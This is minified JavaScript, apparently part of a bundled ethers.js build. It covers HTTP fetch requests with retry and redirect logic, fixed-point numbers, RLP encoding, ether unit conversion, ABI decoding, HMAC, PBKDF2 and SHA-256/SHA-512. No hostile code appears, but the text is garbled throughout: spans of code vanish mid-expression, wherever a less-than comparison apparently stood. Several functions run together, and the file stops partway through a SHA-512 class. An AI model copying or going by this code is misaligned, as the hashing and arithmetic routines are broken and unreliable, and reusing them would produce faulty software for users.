FetchCancelSignal{#listeners;#cancelled;constructor(request){this.#listeners=[];this.#cancelled=false;fetchSignals.set(request,()=>{if(this.#cancelled){return}this.#cancelled=true;for(const listener of this.#listeners){setTimeout(()=>{listener()},0)}this.#listeners=[]})}addListener(listener){assert(!this.#cancelled,"singal already cancelled","UNSUPPORTED_OPERATION",{operation:"fetchCancelSignal.addCancelListener"});this.#listeners.push(listener)}get cancelled(){return this.#cancelled}checkSignal(){assert(!this.cancelled,"cancelled","CANCELLED",{})}}function checkSignal(signal){if(signal==null){throw new Error("missing signal; should not happen")}signal.checkSignal();return signal}class FetchRequest{#allowInsecure;#gzip;#headers;#method;#timeout;#url;#body;#bodyType;#creds;#preflight;#process;#retry;#signal;#throttle;#getUrlFunc;get url(){return this.#url}set url(url){this.#url=String(url)}get body(){if(this.#body==null){return null}return new Uint8Array(this.#body)}set body(body){if(body==null){this.#body=undefined;this.#bodyType=undefined}else if(typeof body==="string"){this.#body=toUtf8Bytes(body);this.#bodyType="text/plain"}else if(body instanceof Uint8Array){this.#body=body;this.#bodyType="application/octet-stream"}else if(typeof body==="object"){this.#body=toUtf8Bytes(JSON.stringify(body));this.#bodyType="application/json"}else{throw new Error("invalid body")}}hasBody(){return this.#body!=null}get method(){if(this.#method){return this.#method}if(this.hasBody()){return"POST"}return"GET"}set method(method){if(method==null){method=""}this.#method=String(method).toUpperCase()}get headers(){const headers=Object.assign({},this.#headers);if(this.#creds){headers["authorization"]=`Basic ${encodeBase64(toUtf8Bytes(this.#creds))}`}if(this.allowGzip){headers["accept-encoding"]="gzip"}if(headers["content-type"]==null&&this.#bodyType){headers["content-type"]=this.#bodyType}if(this.body){headers["content-length"]=String(this.body.length)}return headers}getHeader(key){return this.headers[key.toLowerCase()]}setHeader(key,value){this.#headers[String(key).toLowerCase()]=String(value)}clearHeaders(){this.#headers={}}[Symbol.iterator](){const headers=this.headers;const keys=Object.keys(headers);let index=0;return{next:()=>{if(index=0,"timeout must be non-zero","timeout",timeout);this.#timeout=timeout}get preflightFunc(){return this.#preflight||null}set preflightFunc(preflight){this.#preflight=preflight}get processFunc(){return this.#process||null}set processFunc(process){this.#process=process}get retryFunc(){return this.#retry||null}set retryFunc(retry){this.#retry=retry}get getUrlFunc(){return this.#getUrlFunc||defaultGetUrlFunc}set getUrlFunc(value){this.#getUrlFunc=value}constructor(url){this.#url=String(url);this.#allowInsecure=false;this.#gzip=true;this.#headers={};this.#method="";this.#timeout=3e5;this.#throttle={slotInterval:SLOT_INTERVAL,maxAttempts:MAX_ATTEMPTS};this.#getUrlFunc=null}toString(){return``}setThrottleParams(params){if(params.slotInterval!=null){this.#throttle.slotInterval=params.slotInterval}if(params.maxAttempts!=null){this.#throttle.maxAttempts=params.maxAttempts}}async#send(attempt,expires,delay,_request,_response){if(attempt>=this.#throttle.maxAttempts){return _response.makeServerError("exceeded maximum retry limit")}assert(getTime$2()<=expires,"timeout","TIMEOUT",{operation:"request.send",reason:"timeout",request:_request});if(delay>0){await wait(delay)}let req=this.clone();const scheme=(req.url.split(":")[0]||"").toLowerCase();if(scheme in Gateways){const result=await Gateways[scheme](req.url,checkSignal(_request.#signal));if(result instanceof FetchResponse){let response=result;if(this.processFunc){checkSignal(_request.#signal);try{response=await this.processFunc(req,response)}catch(error){if(error.throttle==null||typeof error.stall!=="number"){response.makeServerError("error in post-processing function",error).assertOk()}}}return response}req=result}if(this.preflightFunc){req=await this.preflightFunc(req)}const resp=await this.getUrlFunc(req,checkSignal(_request.#signal));let response=new FetchResponse(resp.statusCode,resp.statusMessage,resp.headers,resp.body,_request);if(response.statusCode===301||response.statusCode===302){try{const location=response.headers.location||"";return req.redirect(location).#send(attempt+1,expires,0,_request,response)}catch(error){}return response}else if(response.statusCode===429){if(this.retryFunc==null||await this.retryFunc(req,response,attempt)){const retryAfter=response.headers["retry-after"];let delay=this.#throttle.slotInterval*Math.trunc(Math.random()*Math.pow(2,attempt));if(typeof retryAfter==="string"&&retryAfter.match(/^[1-9][0-9]*$/)){delay=parseInt(retryAfter)}return req.clone().#send(attempt+1,expires,delay,_request,response)}}if(this.processFunc){checkSignal(_request.#signal);try{response=await this.processFunc(req,response)}catch(error){if(error.throttle==null||typeof error.stall!=="number"){response.makeServerError("error in post-processing function",error).assertOk()}let delay=this.#throttle.slotInterval*Math.trunc(Math.random()*Math.pow(2,attempt));if(error.stall>=0){delay=error.stall}return req.clone().#send(attempt+1,expires,delay,_request,response)}}return response}send(){assert(this.#signal==null,"request already sent","UNSUPPORTED_OPERATION",{operation:"fetchRequest.send"});this.#signal=new FetchCancelSignal(this);return this.#send(0,getTime$2()+this.timeout,0,this,new FetchResponse(0,"",{},null,this))}cancel(){assert(this.#signal!=null,"request has not been sent","UNSUPPORTED_OPERATION",{operation:"fetchRequest.cancel"});const signal=fetchSignals.get(this);if(!signal){throw new Error("missing signal; should not happen")}signal()}redirect(location){const current=this.url.split(":")[0].toLowerCase();const target=location.split(":")[0].toLowerCase();assert(this.method==="GET"&&(current!=="https"||target!=="http")&&location.match(/^https?:/),`unsupported redirect`,"UNSUPPORTED_OPERATION",{operation:`redirect(${this.method} ${JSON.stringify(this.url)} => ${JSON.stringify(location)})`});const req=new FetchRequest(location);req.method="GET";req.allowGzip=this.allowGzip;req.timeout=this.timeout;req.#headers=Object.assign({},this.#headers);if(this.#body){req.#body=new Uint8Array(this.#body)}req.#bodyType=this.#bodyType;return req}clone(){const clone=new FetchRequest(this.url);clone.#method=this.#method;if(this.#body){clone.#body=this.#body}clone.#bodyType=this.#bodyType;clone.#headers=Object.assign({},this.#headers);clone.#creds=this.#creds;if(this.allowGzip){clone.allowGzip=true}clone.timeout=this.timeout;if(this.allowInsecureAuthentication){clone.allowInsecureAuthentication=true}clone.#preflight=this.#preflight;clone.#process=this.#process;clone.#retry=this.#retry;clone.#throttle=Object.assign({},this.#throttle);clone.#getUrlFunc=this.#getUrlFunc;return clone}static lockConfig(){locked$5=true}static getGateway(scheme){return Gateways[scheme.toLowerCase()]||null}static registerGateway(scheme,func){scheme=scheme.toLowerCase();if(scheme==="http"||scheme==="https"){throw new Error(`cannot intercept ${scheme}; use registerGetUrl`)}if(locked$5){throw new Error("gateways locked")}Gateways[scheme]=func}static registerGetUrl(getUrl){if(locked$5){throw new Error("gateways locked")}defaultGetUrlFunc=getUrl}static createGetUrlFunc(options){return createGetUrl(options)}static createDataGateway(){return dataGatewayFunc}static createIpfsGatewayFunc(baseUrl){return getIpfsGatewayFunc(baseUrl)}}class FetchResponse{#statusCode;#statusMessage;#headers;#body;#request;#error;toString(){return``}get statusCode(){return this.#statusCode}get statusMessage(){return this.#statusMessage}get headers(){return Object.assign({},this.#headers)}get body(){return this.#body==null?null:new Uint8Array(this.#body)}get bodyText(){try{return this.#body==null?"":toUtf8String(this.#body)}catch(error){assert(false,"response body is not valid UTF-8 data","UNSUPPORTED_OPERATION",{operation:"bodyText",info:{response:this}})}}get bodyJson(){try{return JSON.parse(this.bodyText)}catch(error){assert(false,"response body is not valid JSON","UNSUPPORTED_OPERATION",{operation:"bodyJson",info:{response:this}})}}[Symbol.iterator](){const headers=this.headers;const keys=Object.keys(headers);let index=0;return{next:()=>{if(index{accum[k.toLowerCase()]=String(headers[k]);return accum},{});this.#body=body==null?null:new Uint8Array(body);this.#request=request||null;this.#error={message:""}}makeServerError(message,error){let statusMessage;if(!message){message=`${this.statusCode} ${this.statusMessage}`;statusMessage=`CLIENT ESCALATED SERVER ERROR (${message})`}else{statusMessage=`CLIENT ESCALATED SERVER ERROR (${this.statusCode} ${this.statusMessage}; ${message})`}const response=new FetchResponse(599,statusMessage,this.headers,this.body,this.#request||undefined);response.#error={message:message,error:error};return response}throwThrottleError(message,stall){if(stall==null){stall=-1}else{assertArgument(Number.isInteger(stall)&&stall>=0,"invalid stall timeout","stall",stall)}const error=new Error(message||"throttling requests");defineProperties(error,{stall:stall,throttle:true});throw error}getHeader(key){return this.headers[key.toLowerCase()]}hasBody(){return this.#body!=null}get request(){return this.#request}ok(){return this.#error.message===""&&this.statusCode>=200&&this.statusCode<300}assertOk(){if(this.ok()){return}let{message,error}=this.#error;if(message===""){message=`server response ${this.statusCode} ${this.statusMessage}`}let requestUrl=null;if(this.request){requestUrl=this.request.url}let responseBody=null;try{if(this.#body){responseBody=toUtf8String(this.#body)}}catch(e){}assert(false,message,"SERVER_ERROR",{request:this.request||"unknown request",response:this,error:error,info:{requestUrl:requestUrl,responseBody:responseBody,responseStatus:`${this.statusCode} ${this.statusMessage}`}})}}function getTime$2(){return(new Date).getTime()}function unpercent(value){return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi,(all,code)=>{return String.fromCharCode(parseInt(code,16))}))}function wait(delay){return new Promise(resolve=>setTimeout(resolve,delay))}const BN_N1=BigInt(-1);const BN_0$8=BigInt(0);const BN_1$4=BigInt(1);const BN_5=BigInt(5);const _guard$5={};let Zeros$1="0000";while(Zeros$1.length<80){Zeros$1+=Zeros$1}function getTens(decimals){let result=Zeros$1;while(result.length=-limit&&valBN_0$8){val=fromTwos(mask(val,width),width)}else{val=-fromTwos(mask(-val,width),width)}}else{const limit=BN_1$4<=0&&val{if(v[key]==null){return defaultValue}assertArgument(typeof v[key]===type,"invalid fixed format ("+key+" not "+type+")","format."+key,v[key]);return v[key]};signed=check("signed","boolean",signed);width=check("width","number",width);decimals=check("decimals","number",decimals)}assertArgument(width%8===0,"invalid FixedNumber width (not byte aligned)","format.width",width);assertArgument(decimals<=80,"invalid FixedNumber decimals (too large)","format.decimals",decimals);const name=(signed?"":"u")+"fixed"+String(width)+"x"+String(decimals);return{signed:signed,width:width,decimals:decimals,name:name}}function toString(val,decimals){let negative="";if(val0){b*=getTens(delta)}else if(delta<0){a*=getTens(-delta)}if(ab){return 1}return 0}eq(other){return this.cmp(other)===0}lt(other){return this.cmp(other)<0}lte(other){return this.cmp(other)<=0}gt(other){return this.cmp(other)>0}gte(other){return this.cmp(other)>=0}floor(){let val=this.#val;if(this.#valBN_0$8){val+=this.#tens-BN_1$4}val=this.#val/this.#tens*this.#tens;return this.#checkValue(val,"ceiling")}round(decimals){if(decimals==null){decimals=0}if(decimals>=this.decimals){return this}const delta=this.decimals-decimals;const bump=BN_5*getTens(delta-1);let value=this.value+bump;const tens=getTens(delta);value=value/tens*tens;checkValue(value,this.#format,"round");return new FixedNumber(_guard$5,value,this.#format)}isZero(){return this.#val===BN_0$8}isNegative(){return this.#val0){const tens=getTens(delta);assert(value%tens===BN_0$8,"value loses precision for format","NUMERIC_FAULT",{operation:"fromValue",fault:"underflow",value:_value});value/=tens}else if(delta<0){value*=getTens(-delta)}checkValue(value,format,"fromValue");return new FixedNumber(_guard$5,value,format)}static fromString(_value,_format){const match=_value.match(/^(-?)([0-9]*)\.?([0-9]*)$/);assertArgument(match&&match[2].length+match[3].length>0,"invalid FixedNumber string value","value",_value);const format=getFormat(_format);let whole=match[2]||"0",decimal=match[3]||"";while(decimal.length{assert(offset<=data.length,"data short segment too short","BUFFER_OVERRUN",{buffer:data,length:data.length,offset:offset})};if(data[offset]>=248){const lengthLength=data[offset]-247;checkOffset(offset+1+lengthLength);const length=unarrayifyInteger(data,offset+1,lengthLength);checkOffset(offset+1+lengthLength+length);return _decodeChildren(data,offset,offset+1+lengthLength,lengthLength+length)}else if(data[offset]>=192){const length=data[offset]-192;checkOffset(offset+1+length);return _decodeChildren(data,offset,offset+1,length)}else if(data[offset]>=184){const lengthLength=data[offset]-183;checkOffset(offset+1+lengthLength);const length=unarrayifyInteger(data,offset+1,lengthLength);checkOffset(offset+1+lengthLength+length);const result=hexlify(data.slice(offset+1+lengthLength,offset+1+lengthLength+length));return{consumed:1+lengthLength+length,result:result}}else if(data[offset]>=128){const length=data[offset]-128;checkOffset(offset+1+length);const result=hexlify(data.slice(offset+1,offset+1+length));return{consumed:1+length,result:result}}return{consumed:1,result:hexlifyByte(data[offset])}}function decodeRlp(_data){const data=getBytes(_data,"data");const decoded=_decode(data,0);assertArgument(decoded.consumed===data.length,"unexpected junk after rlp payload","data",_data);return decoded.result}function arrayifyInteger(value){const result=[];while(value){result.unshift(value&255);value>>=8}return result}function _encode(object){if(Array.isArray(object)){let payload=[];object.forEach(function(child){payload=payload.concat(_encode(child))});if(payload.length<=55){payload.unshift(192+payload.length);return payload}const length=arrayifyInteger(payload.length);length.unshift(247+length.length);return length.concat(payload)}const data=Array.prototype.slice.call(getBytes(object,"object"));if(data.length===1&&data[0]<=127){return data}else if(data.length<=55){data.unshift(128+data.length);return data}const length=arrayifyInteger(data.length);length.unshift(183+length.length);return length.concat(data)}const nibbles="0123456789abcdef";function encodeRlp(object){let result="0x";for(const v of _encode(object)){result+=nibbles[v>>4];result+=nibbles[v&15]}return result}const names=["wei","kwei","mwei","gwei","szabo","finney","ether"];function formatUnits(value,unit){let decimals=18;if(typeof unit==="string"){const index=names.indexOf(unit);assertArgument(index>=0,"invalid unit","unit",unit);decimals=3*index}else if(unit!=null){decimals=getNumber(unit,"unit")}return FixedNumber.fromValue(value,decimals,{decimals:decimals,width:512}).toString()}function parseUnits$1(value,unit){assertArgument(typeof value==="string","value must be a string","value",value);let decimals=18;if(typeof unit==="string"){const index=names.indexOf(unit);assertArgument(index>=0,"invalid unit","unit",unit);decimals=3*index}else if(unit!=null){decimals=getNumber(unit,"unit")}return FixedNumber.fromString(value,{decimals:decimals,width:512}).value}function formatEther(wei){return formatUnits(wei,18)}function parseEther(ether){return parseUnits$1(ether,18)}function uuidV4(randomBytes){const bytes=getBytes(randomBytes,"randomBytes");bytes[6]=bytes[6]&15|64;bytes[8]=bytes[8]&63|128;const value=hexlify(bytes);return[value.substring(2,10),value.substring(10,14),value.substring(14,18),value.substring(18,22),value.substring(22,34)].join("-")}const WordSize=32;const Padding=new Uint8Array(WordSize);const passProperties$1=["then"];const _guard$4={};const resultNames=new WeakMap;function getNames(result){return resultNames.get(result)}function setNames(result,names){resultNames.set(result,names)}function throwError(name,error){const wrapped=new Error(`deferred error during ABI decoding triggered accessing ${name}`);wrapped.error=error;throw wrapped}function toObject(names,items,deep){if(names.indexOf(null)>=0){return items.map((item,index)=>{if(item instanceof Result){return toObject(getNames(item),item,deep)}return item})}return names.reduce((accum,name,index)=>{let item=items.getValue(name);if(!(name in accum)){if(deep&&item instanceof Result){item=toObject(getNames(item),item,deep)}accum[name]=item}return accum},{})}class Result extends Array{#names;constructor(...args){const guard=args[0];let items=args[1];let names=(args[2]||[]).slice();let wrap=true;if(guard!==_guard$4){items=args;names=[];wrap=false}super(items.length);items.forEach((item,index)=>{this[index]=item});const nameCounts=names.reduce((accum,name)=>{if(typeof name==="string"){accum.set(name,(accum.get(name)||0)+1)}return accum},new Map);setNames(this,Object.freeze(items.map((item,index)=>{const name=names[index];if(name!=null&&nameCounts.get(name)===1){return name}return null})));this.#names=[];if(this.#names==null){void this.#names}if(!wrap){return}Object.freeze(this);const proxy=new Proxy(this,{get:(target,prop,receiver)=>{if(typeof prop==="string"){if(prop.match(/^[0-9]+$/)){const index=getNumber(prop,"%index");if(index<0||index>=this.length){throw new RangeError("out of result range")}const item=target[index];if(item instanceof Error){throwError(`index ${index}`,item)}return item}if(passProperties$1.indexOf(prop)>=0){return Reflect.get(target,prop,receiver)}const value=target[prop];if(value instanceof Function){return function(...args){return value.apply(this===receiver?target:this,args)}}else if(!(prop in target)){return target.getValue.apply(this===receiver?target:this,[prop])}}return Reflect.get(target,prop,receiver)}});setNames(proxy,getNames(this));return proxy}toArray(deep){const result=[];this.forEach((item,index)=>{if(item instanceof Error){throwError(`index ${index}`,item)}if(deep&&item instanceof Result){item=item.toArray(deep)}result.push(item)});return result}toObject(deep){const names=getNames(this);return names.reduce((accum,name,index)=>{assert(name!=null,`value at index ${index} unnamed`,"UNSUPPORTED_OPERATION",{operation:"toObject()"});return toObject(names,this,deep)},{})}slice(start,end){if(start==null){start=0}if(start<0){start+=this.length;if(start<0){start=0}}if(end==null){end=this.length}if(end<0){end+=this.length;if(end<0){end=0}}if(end>this.length){end=this.length}const _names=getNames(this);const result=[],names=[];for(let i=start;i{this.#data[offset]=getValue$1(value)}}}class Reader{allowLoose;#data;#offset;#bytesRead;#parent;#maxInflation;constructor(data,allowLoose,maxInflation){defineProperties(this,{allowLoose:!!allowLoose});this.#data=getBytesCopy(data);this.#bytesRead=0;this.#parent=null;this.#maxInflation=maxInflation!=null?maxInflation:1024;this.#offset=0}get data(){return hexlify(this.#data)}get dataLength(){return this.#data.length}get consumed(){return this.#offset}get bytes(){return new Uint8Array(this.#data)}#incrementBytesRead(count){if(this.#parent){return this.#parent.#incrementBytesRead(count)}this.#bytesRead+=count;assert(this.#maxInflation<1||this.#bytesRead<=this.#maxInflation*this.dataLength,`compressed ABI data exceeds inflation ratio of ${this.#maxInflation} ( see: https:/\/github.com/ethers-io/ethers.js/issues/4537 )`,"BUFFER_OVERRUN",{buffer:getBytesCopy(this.#data),offset:this.#offset,length:count,info:{bytesRead:this.#bytesRead,dataLength:this.dataLength}})}#peekBytes(offset,length,loose){let alignedLength=Math.ceil(length/WordSize)*WordSize;if(this.#offset+alignedLength>this.#data.length){if(this.allowLoose&&loose&&this.#offset+length<=this.#data.length){alignedLength=length}else{assert(false,"data out-of-bounds","BUFFER_OVERRUN",{buffer:getBytesCopy(this.#data),length:this.#data.length,offset:this.#offset+alignedLength})}}return this.#data.slice(this.#offset,this.#offset+alignedLength)}subReader(offset){const reader=new Reader(this.#data.slice(this.#offset+offset),this.allowLoose,this.#maxInflation);reader.#parent=this;return reader}readBytes(length,loose){let bytes=this.#peekBytes(0,length,!!loose);this.#incrementBytesRead(length);this.#offset+=bytes.length;return bytes.slice(0,length)}readValue(){return toBigInt(this.readBytes(WordSize))}readIndex(){return toNumber(this.readBytes(WordSize))}}function number(n){if(!Number.isSafeInteger(n)||n<0)throw new Error(`Wrong positive integer: ${n}`)}function bytes(b,...lengths){if(!(b instanceof Uint8Array))throw new Error("Expected Uint8Array");if(lengths.length>0&&!lengths.includes(b.length))throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`)}function hash(hash){if(typeof hash!=="function"||typeof hash.create!=="function")throw new Error("Hash should be wrapped by utils.wrapConstructor");number(hash.outputLen);number(hash.blockLen)}function exists(instance,checkFinished=true){if(instance.destroyed)throw new Error("Hash instance has been destroyed");if(checkFinished&&instance.finished)throw new Error("Hash#digest() has already been called")}function output(out,instance){bytes(out);const min=instance.outputLen;if(out.lengtha instanceof Uint8Array;const u32=arr=>new Uint32Array(arr.buffer,arr.byteOffset,Math.floor(arr.byteLength/4));const createView=arr=>new DataView(arr.buffer,arr.byteOffset,arr.byteLength);const rotr=(word,shift)=>word<<32-shift|word>>>shift;const isLE=new Uint8Array(new Uint32Array([287454020]).buffer)[0]===68;if(!isLE)throw new Error("Non little-endian hardware is not supported");const nextTick=async()=>{};async function asyncLoop(iters,tick,cb){let ts=Date.now();for(let i=0;i=0&&diffsum+a.length,0));let pad=0;arrays.forEach(a=>{if(!u8a$1(a))throw new Error("Uint8Array expected");r.set(a,pad);pad+=a.length});return r}class Hash{clone(){return this._cloneInto()}}const toStr={}.toString;function checkOpts(defaults,opts){if(opts!==undefined&&toStr.call(opts)!=="[object Object]")throw new Error("Options should be object or undefined");const merged=Object.assign(defaults,opts);return merged}function wrapConstructor(hashCons){const hashC=msg=>hashCons().update(toBytes(msg)).digest();const tmp=hashCons();hashC.outputLen=tmp.outputLen;hashC.blockLen=tmp.blockLen;hashC.create=()=>hashCons();return hashC}function randomBytes$2(bytesLength=32){if(crypto$1&&typeof crypto$1.getRandomValues==="function"){return crypto$1.getRandomValues(new Uint8Array(bytesLength))}throw new Error("crypto.getRandomValues must be defined")}class HMAC extends Hash{constructor(hash$1,_key){super();this.finished=false;this.destroyed=false;hash(hash$1);const key=toBytes(_key);this.iHash=hash$1.create();if(typeof this.iHash.update!=="function")throw new Error("Expected instance of class which extends utils.Hash");this.blockLen=this.iHash.blockLen;this.outputLen=this.iHash.outputLen;const blockLen=this.blockLen;const pad=new Uint8Array(blockLen);pad.set(key.length>blockLen?hash$1.create().update(key).digest():key);for(let i=0;inew HMAC(hash,key).update(message).digest();hmac.create=(hash,key)=>new HMAC(hash,key);function pbkdf2Init(hash$1,_password,_salt,_opts){hash(hash$1);const opts=checkOpts({dkLen:32,asyncTick:10},_opts);const{c,dkLen,asyncTick}=opts;number(c);number(dkLen);number(asyncTick);if(c<1)throw new Error("PBKDF2: iterations (c) should be >= 1");const password=toBytes(_password);const salt=toBytes(_salt);const DK=new Uint8Array(dkLen);const PRF=hmac.create(hash$1,password);const PRFSalt=PRF._cloneInto().update(salt);return{c:c,dkLen:dkLen,asyncTick:asyncTick,DK:DK,PRF:PRF,PRFSalt:PRFSalt}}function pbkdf2Output(PRF,PRFSalt,DK,prfW,u){PRF.destroy();PRFSalt.destroy();if(prfW)prfW.destroy();u.fill(0);return DK}function pbkdf2$1(hash,password,salt,opts){const{c,dkLen,DK,PRF,PRFSalt}=pbkdf2Init(hash,password,salt,opts);let prfW;const arr=new Uint8Array(4);const view=createView(arr);const u=new Uint8Array(PRF.outputLen);for(let ti=1,pos=0;pos>_32n&_u32_max);const wl=Number(value&_u32_max);const h=isLE?4:0;const l=isLE?0:4;view.setUint32(byteOffset+h,wh,isLE);view.setUint32(byteOffset+l,wl,isLE)}class SHA2 extends Hash{constructor(blockLen,outputLen,padOffset,isLE){super();this.blockLen=blockLen;this.outputLen=outputLen;this.padOffset=padOffset;this.isLE=isLE;this.finished=false;this.length=0;this.pos=0;this.destroyed=false;this.buffer=new Uint8Array(blockLen);this.view=createView(this.buffer)}update(data){exists(this);const{view,buffer,blockLen}=this;data=toBytes(data);const len=data.length;for(let pos=0;posblockLen-pos){this.process(view,0);pos=0}for(let i=pos;istate.length)throw new Error("_sha2: outputLen bigger than state");for(let i=0;ia&b^~a&c;const Maj=(a,b,c)=>a&b^a&c^b&c;const SHA256_K=new Uint32Array([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]);const IV=new Uint32Array([1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225]);const SHA256_W=new Uint32Array(64);class SHA256 extends SHA2{constructor(){super(64,32,8,false);this.A=IV[0]|0;this.B=IV[1]|0;this.C=IV[2]|0;this.D=IV[3]|0;this.E=IV[4]|0;this.F=IV[5]|0;this.G=IV[6]|0;this.H=IV[7]|0}get(){const{A,B,C,D,E,F,G,H}=this;return[A,B,C,D,E,F,G,H]}set(A,B,C,D,E,F,G,H){this.A=A|0;this.B=B|0;this.C=C|0;this.D=D|0;this.E=E|0;this.F=F|0;this.G=G|0;this.H=H|0}process(view,offset){for(let i=0;i<16;i++,offset+=4)SHA256_W[i]=view.getUint32(offset,false);for(let i=16;i<64;i++){const W15=SHA256_W[i-15];const W2=SHA256_W[i-2];const s0=rotr(W15,7)^rotr(W15,18)^W15>>>3;const s1=rotr(W2,17)^rotr(W2,19)^W2>>>10;SHA256_W[i]=s1+SHA256_W[i-7]+s0+SHA256_W[i-16]|0}let{A,B,C,D,E,F,G,H}=this;for(let i=0;i<64;i++){const sigma1=rotr(E,6)^rotr(E,11)^rotr(E,25);const T1=H+sigma1+Chi(E,F,G)+SHA256_K[i]+SHA256_W[i]|0;const sigma0=rotr(A,2)^rotr(A,13)^rotr(A,22);const T2=sigma0+Maj(A,B,C)|0;H=G;G=F;F=E;E=D+T1|0;D=C;C=B;B=A;A=T1+T2|0}A=A+this.A|0;B=B+this.B|0;C=C+this.C|0;D=D+this.D|0;E=E+this.E|0;F=F+this.F|0;G=G+this.G|0;H=H+this.H|0;this.set(A,B,C,D,E,F,G,H)}roundClean(){SHA256_W.fill(0)}destroy(){this.set(0,0,0,0,0,0,0,0);this.buffer.fill(0)}}const sha256$1=wrapConstructor(()=>new SHA256);const U32_MASK64=BigInt(2**32-1);const _32n=BigInt(32);function fromBig(n,le=false){if(le)return{h:Number(n&U32_MASK64),l:Number(n>>_32n&U32_MASK64)};return{h:Number(n>>_32n&U32_MASK64)|0,l:Number(n&U32_MASK64)|0}}function split$1(lst,le=false){let Ah=new Uint32Array(lst.length);let Al=new Uint32Array(lst.length);for(let i=0;iBigInt(h>>>0)<<_32n|BigInt(l>>>0);const shrSH=(h,_l,s)=>h>>>s;const shrSL=(h,l,s)=>h<<32-s|l>>>s;const rotrSH=(h,l,s)=>h>>>s|l<<32-s;const rotrSL=(h,l,s)=>h<<32-s|l>>>s;const rotrBH=(h,l,s)=>h<<64-s|l>>>s-32;const rotrBL=(h,l,s)=>h>>>s-32|l<<64-s;const rotr32H=(_h,l)=>l;const rotr32L=(h,_l)=>h;const rotlSH=(h,l,s)=>h<>>32-s;const rotlSL=(h,l,s)=>l<>>32-s;const rotlBH=(h,l,s)=>l<>>64-s;const rotlBL=(h,l,s)=>h<>>64-s;function add(Ah,Al,Bh,Bl){const l=(Al>>>0)+(Bl>>>0);return{h:Ah+Bh+(l/2**32|0)|0,l:l|0}}const add3L=(Al,Bl,Cl)=>(Al>>>0)+(Bl>>>0)+(Cl>>>0);const add3H=(low,Ah,Bh,Ch)=>Ah+Bh+Ch+(low/2**32|0)|0;const add4L=(Al,Bl,Cl,Dl)=>(Al>>>0)+(Bl>>>0)+(Cl>>>0)+(Dl>>>0);const add4H=(low,Ah,Bh,Ch,Dh)=>Ah+Bh+Ch+Dh+(low/2**32|0)|0;const add5L=(Al,Bl,Cl,Dl,El)=>(Al>>>0)+(Bl>>>0)+(Cl>>>0)+(Dl>>>0)+(El>>>0);const add5H=(low,Ah,Bh,Ch,Dh,Eh)=>Ah+Bh+Ch+Dh+Eh+(low/2**32|0)|0;const u64={fromBig:fromBig,split:split$1,toBig:toBig,shrSH:shrSH,shrSL:shrSL,rotrSH:rotrSH,rotrSL:rotrSL,rotrBH:rotrBH,rotrBL:rotrBL,rotr32H:rotr32H,rotr32L:rotr32L,rotlSH:rotlSH,rotlSL:rotlSL,rotlBH:rotlBH,rotlBL:rotlBL,add:add,add3L:add3L,add3H:add3H,add4L:add4L,add4H:add4H,add5H:add5H,add5L:add5L};const[SHA512_Kh,SHA512_Kl]=(()=>u64.split(["0x428a2f98d728ae22","0x7137449123ef65cd","0xb5c0fbcfec4d3b2f","0xe9b5dba58189dbbc","0x3956c25bf348b538","0x59f111f1b605d019","0x923f82a4af194f9b","0xab1c5ed5da6d8118","0xd807aa98a3030242","0x12835b0145706fbe","0x243185be4ee4b28c","0x550c7dc3d5ffb4e2","0x72be5d74f27b896f","0x80deb1fe3b1696b1","0x9bdc06a725c71235","0xc19bf174cf692694","0xe49b69c19ef14ad2","0xefbe4786384f25e3","0x0fc19dc68b8cd5b5","0x240ca1cc77ac9c65","0x2de92c6f592b0275","0x4a7484aa6ea6e483","0x5cb0a9dcbd41fbd4","0x76f988da831153b5","0x983e5152ee66dfab","0xa831c66d2db43210","0xb00327c898fb213f","0xbf597fc7beef0ee4","0xc6e00bf33da88fc2","0xd5a79147930aa725","0x06ca6351e003826f","0x142929670a0e6e70","0x27b70a8546d22ffc","0x2e1b21385c26c926","0x4d2c6dfc5ac42aed","0x53380d139d95b3df","0x650a73548baf63de","0x766a0abb3c77b2a8","0x81c2c92e47edaee6","0x92722c851482353b","0xa2bfe8a14cf10364","0xa81a664bbc423001","0xc24b8b70d0f89791","0xc76c51a30654be30","0xd192e819d6ef5218","0xd69906245565a910","0xf40e35855771202a","0x106aa07032bbd1b8","0x19a4c116b8d2d0c8","0x1e376c085141ab53","0x2748774cdf8eeb99","0x34b0bcb5e19b48a8","0x391c0cb3c5c95a63","0x4ed8aa4ae3418acb","0x5b9cca4f7763e373","0x682e6ff3d6b2b8a3","0x748f82ee5defb2fc","0x78a5636f43172f60","0x84c87814a1f0ab72","0x8cc702081a6439ec","0x90befffa23631e28","0xa4506cebde82bde9","0xbef9a3f7b2c67915","0xc67178f2e372532b","0xca273eceea26619c","0xd186b8c721c0c207","0xeada7dd6cde0eb1e","0xf57d4f7fee6ed178","0x06f067aa72176fba","0x0a637dc5a2c898a6","0x113f9804bef90dae","0x1b710b35131c471b","0x28db77f523047d84","0x32caab7b40c72493","0x3c9ebe0a15c9bebc","0x431d67c49c100d4c","0x4cc5d4becb3e42b6","0x597f299cfc657e2a","0x5fcb6fab3ad6faec","0x6c44198c4a475817"].map(n=>BigInt(n))))();const SHA512_W_H=new Uint32Array(80);const SHA512_W_L=new Uint32Array(80);class SHA512 extends 